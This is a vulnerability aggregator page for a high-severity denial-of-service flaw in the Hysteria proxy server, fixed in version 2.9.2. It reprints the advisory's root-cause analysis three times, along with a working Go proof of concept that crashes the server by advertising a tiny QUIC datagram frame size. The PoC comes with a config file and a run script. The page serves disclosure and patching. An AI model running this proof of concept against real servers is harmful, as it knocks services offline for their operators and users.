GHSA-qh5x-rfwf-rvfv
Hysteria vulnerable to server crash when max_datagram_frame_size very small
GHSA-qh5x-rfwf-rvfv is a high vulnerability (CVSS 7.5) in github.com/apernet/hysteria, published June 26, 2026. No source lists public exploit code. Fixed in github.com/apernet/hysteria 2.9.2.
- Severity
- 7.5 HighCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
2.9.2github.com/apernet/hysteria +1 more
Description
Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC max_datagram_frame_size and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns DatagramTooLargeError. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.
Details
The vulnerable path is the normal server-side UDP response path:
udpSessionEntry.receiveLoop
-> sendMessageAutoFrag
-> frag.FragUDPMessage
In core/server/udp.go, receiveLoop packages a UDP response into a protocol.UDPMessage and calls sendMessageAutoFrag. If SendDatagram fails with quic.DatagramTooLargeError, sendMessageAutoFrag calls:
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))
However, FragUDPMessage in core/internal/frag/frag.go assumes that maxSize is greater than the UDP message header size:
maxPayloadSize := maxSize - m.HeaderSize()
If an attacker-controlled client advertises a small enough max_datagram_frame_size, errTooLarge.MaxDatagramPayloadSize can be smaller than m.HeaderSize(). In that case, maxPayloadSize becomes zero or negative, and the later slicing operation panics:
frag.Data = fullPayload[off : off+payloadSize]
PoC
poc.yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: udp-frag-panic-poc
masquerade:
type: string
string:
content: nope
statusCode: 404
poc.go
//go:build poc
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"time"
"github.com/apernet/quic-go"
"github.com/apernet/quic-go/http3"
"github.com/apernet/quic-go/quicvarint"
)
const (
authHost = "hysteria"
authPath = "/auth"
authOK = 233
)
func main() {
server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
auth := flag.String("auth", "", "Hysteria auth/password")
target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
insecure := flag.Bool("insecure", true, "skip TLS verification")
echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
flag.Parse()
if *auth == "" {
panic("--auth is required")
}
if *echo {
closeEcho := startUDPEcho(*target)
defer closeEcho()
}
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X"))
fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
*target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil {
panic(fmt.Errorf("send trigger datagram: %w", err))
}
fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
if _, err := conn.ReceiveDatagram(ctx); err != nil {
fmt.Printf("[*] receive after trigger: %v\n", err)
} else {
fmt.Println("[!] received a response; try a smaller --max-datagram")
}
}
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
panic(err)
}
udpConn, err := net.ListenUDP("udp", nil)
if err != nil {
panic(err)
}
transport := &quic.Transport{Conn: udpConn}
var qconn *quic.Conn
rt := &http3.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
QUICConfig: &quic.Config{
EnableDatagrams: true,
MaxDatagramFrameSize: maxDatagram,
DisablePathManager: true,
},
Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {
qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)
return qconn, err
},
}
req := &http.Request{
Method: http.MethodPost,
Host: authHost,
URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath},
Header: http.Header{},
Body: io.NopCloser(bytes.NewReader(nil)),
}
req.Header.Set("Hysteria-Auth", auth)
req.Header.Set("Hysteria-CC-RX", "0")
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err := rt.RoundTrip(req.WithContext(ctx))
if err != nil {
panic(err)
}
defer resp.Body.Close()
if resp.StatusCode != authOK {
panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode))
}
if resp.Header.Get("Hysteria-UDP") == "false" {
panic("server reports UDP disabled")
}
cleanup := func() {
_ = rt.Close()
_ = transport.Close()
_ = udpConn.Close()
if qconn != nil {
_ = qconn.CloseWithError(0, "")
}
}
return qconn, cleanup
}
func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {
buf := make([]byte, udpHeaderSize(addr)+len(data))
binary.BigEndian.PutUint32(buf[0:4], sessionID)
// PacketID=0, FragID=0, FragCount=1.
buf[7] = 1
i := len(quicvarint.Append(buf[:8], uint64(len(addr))))
i += copy(buf[i:], addr)
copy(buf[i:], data)
return buf
}
func udpHeaderSize(addr string) int {
return 8 + quicvarint.Len(uint64(len(addr))) + len(addr)
}
func startUDPEcho(addr string) func() {
pc, err := net.ListenPacket("udp", addr)
if err != nil {
panic(fmt.Errorf("start UDP echo on %s: %w", addr, err))
}
fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())
go func() {
buf := make([]byte, 2048)
for {
n, raddr, err := pc.ReadFrom(buf)
if err != nil {
return
}
_, _ = pc.WriteTo(buf[:n], raddr)
}
}()
return func() { _ = pc.Close() }
}
poc.sh
go run -tags poc ./poc_udp_frag_panic.go \
--server 127.0.0.1:8443 \
--auth udp-frag-panic-poc \
--insecure \
--target 127.0.0.1:19090 \
--max-datagram 20
Impact
Server crash
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/apernet/hysteriaGo | before 2.9.2 | 2.9.2 |
github.com/apernet/hysteriaGo | All versions | None known |
What each source reports
GitHub Advisories Score used 7.5
Hysteria vulnerable to server crash when max_datagram_frame_size very small
Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC max_datagram_frame_size and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns DatagramTooLargeError. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.
Details
The vulnerable path is the normal server-side UDP response path:
udpSessionEntry.receiveLoop
-> sendMessageAutoFrag
-> frag.FragUDPMessage
In core/server/udp.go, receiveLoop packages a UDP response into a protocol.UDPMessage and calls sendMessageAutoFrag. If SendDatagram fails with quic.DatagramTooLargeError, sendMessageAutoFrag calls:
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))
However, FragUDPMessage in core/internal/frag/frag.go assumes that maxSize is greater than the UDP message header size:
maxPayloadSize := maxSize - m.HeaderSize()
If an attacker-controlled client advertises a small enough max_datagram_frame_size, errTooLarge.MaxDatagramPayloadSize can be smaller than m.HeaderSize(). In that case, maxPayloadSize becomes zero or negative, and the later slicing operation panics:
frag.Data = fullPayload[off : off+payloadSize]
PoC
poc.yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: udp-frag-panic-poc
masquerade:
type: string
string:
content: nope
statusCode: 404
poc.go
//go:build poc
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"time"
"github.com/apernet/quic-go"
"github.com/apernet/quic-go/http3"
"github.com/apernet/quic-go/quicvarint"
)
const (
authHost = "hysteria"
authPath = "/auth"
authOK = 233
)
func main() {
server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
auth := flag.String("auth", "", "Hysteria auth/password")
target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
insecure := flag.Bool("insecure", true, "skip TLS verification")
echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
flag.Parse()
if *auth == "" {
panic("--auth is required")
}
if *echo {
closeEcho := startUDPEcho(*target)
defer closeEcho()
}
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X"))
fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
*target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil {
panic(fmt.Errorf("send trigger datagram: %w", err))
}
fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
if _, err := conn.ReceiveDatagram(ctx); err != nil {
fmt.Printf("[*] receive after trigger: %v\n", err)
} else {
fmt.Println("[!] received a response; try a smaller --max-datagram")
}
}
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
panic(err)
}
udpConn, err := net.ListenUDP("udp", nil)
if err != nil {
panic(err)
}
transport := &quic.Transport{Conn: udpConn}
var qconn *quic.Conn
rt := &http3.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
QUICConfig: &quic.Config{
EnableDatagrams: …
- Record
GHSA-qh5x-rfwf-rvfv- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSV 7.5
Hysteria vulnerable to server crash when max_datagram_frame_size very small
Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC max_datagram_frame_size and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns DatagramTooLargeError. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.
Details
The vulnerable path is the normal server-side UDP response path:
udpSessionEntry.receiveLoop
-> sendMessageAutoFrag
-> frag.FragUDPMessage
In core/server/udp.go, receiveLoop packages a UDP response into a protocol.UDPMessage and calls sendMessageAutoFrag. If SendDatagram fails with quic.DatagramTooLargeError, sendMessageAutoFrag calls:
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))
However, FragUDPMessage in core/internal/frag/frag.go assumes that maxSize is greater than the UDP message header size:
maxPayloadSize := maxSize - m.HeaderSize()
If an attacker-controlled client advertises a small enough max_datagram_frame_size, errTooLarge.MaxDatagramPayloadSize can be smaller than m.HeaderSize(). In that case, maxPayloadSize becomes zero or negative, and the later slicing operation panics:
frag.Data = fullPayload[off : off+payloadSize]
PoC
poc.yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: udp-frag-panic-poc
masquerade:
type: string
string:
content: nope
statusCode: 404
poc.go
//go:build poc
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"time"
"github.com/apernet/quic-go"
"github.com/apernet/quic-go/http3"
"github.com/apernet/quic-go/quicvarint"
)
const (
authHost = "hysteria"
authPath = "/auth"
authOK = 233
)
func main() {
server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
auth := flag.String("auth", "", "Hysteria auth/password")
target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
insecure := flag.Bool("insecure", true, "skip TLS verification")
echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
flag.Parse()
if *auth == "" {
panic("--auth is required")
}
if *echo {
closeEcho := startUDPEcho(*target)
defer closeEcho()
}
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X"))
fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
*target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil {
panic(fmt.Errorf("send trigger datagram: %w", err))
}
fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
if _, err := conn.ReceiveDatagram(ctx); err != nil {
fmt.Printf("[*] receive after trigger: %v\n", err)
} else {
fmt.Println("[!] received a response; try a smaller --max-datagram")
}
}
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
panic(err)
}
udpConn, err := net.ListenUDP("udp", nil)
if err != nil {
panic(err)
}
transport := &quic.Transport{Conn: udpConn}
var qconn *quic.Conn
rt := &http3.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
QUICConfig: &quic.Config{
EnableDatagrams: …
- Record
GHSA-qh5x-rfwf-rvfv- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVGO-2026-5807No score
Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria
Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/apernet/hysteria before v2.9.2.
- Record
GO-2026-5807- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.